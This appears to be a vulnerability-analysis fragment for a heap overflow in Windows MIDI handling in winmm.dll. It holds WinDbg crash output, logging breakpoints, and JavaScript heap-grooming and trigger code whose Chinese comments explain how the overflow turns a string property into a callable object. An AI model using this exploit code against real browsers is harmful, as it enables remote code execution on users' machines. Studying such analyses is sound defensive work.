0:009> g (bfc.c78): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=001d5a2c ebx=00000000 ecx=0c0c0c0c edx=0000003d esi=001be3f8 edi=01776230 eip=7e38dfe8 esp=0012e198 ebp=0012e1a8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\mshtml.dll - mshtml!CreateHTMLPropertyPage+0x38108: 7e38dfe8 ff5104 call dword ptr [ecx+4] ds:0023:0c0c0c10=????????
0:009> g (27c.a28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000419 ebx=0000007d ecx=007db29f edx=00000000 esi=07d5b019 edi=07d58f60 eip=76b2d224 esp=07a7fe80 ebp=07a7fea0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 WINMM!midiOutPlayNextPolyEvent+0x1ec: 76b2d224 8a06 mov al,byte ptr [esi] ds:0023:07d5b019=??
bp 76b2d096 ".printf \"v9:%x\",[esi+24h];.echo;g" bp 76b2d0c3 ".printf \"v13=v11&0xFFFFFF=v11:%x\",ecx;.echo;g" bp 76b2d1d0 ".printf \"v40:%x\",cl;.echo;g" bp 76b2d1eb ".printf \"v40:%x\",dl;.echo;g" bp 76b2d1c7 ".printf \"v21:%x\",cl;.echo;g" bp 76b2d20d ".printf \"v23(%x)=v40(%x)+v21&F<<7(%x)\",edx+eax,edx,eax;.echo;g" bp 76b2d21e ".printf \"v24=v23/2=%x, v20=%x\",eax,esi;.echo;g"
var clones=new Array(1000); <!--创建数组clones，大小为1000-->
function feng_shui() {
var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } <!--将selob复制到clones数组中-->
var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } <!--间隔删除clones数组中的元素-->
}
feng_shui();
function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w1) == "string") { } else { clones[k].w1('come on!'); } k = k - 2; } feng_shui(); <!----> document.audio.Play(); <!--调用恶意构造的MIDI，而winmm.dll处理MIDI message时会申请400h大小的堆空间，正好命中我们精心构造的clones数组，当碰到速度为7d，音符号为b2，事件类型为音符打开且通道号为F时，造成堆溢出，更改419处的值加1即clones数组中某一个元素的下一个元素的偏移19的位置，而该位置正好是w1属性类型的定义为string(0X08)，加一变为object(0X090)--> }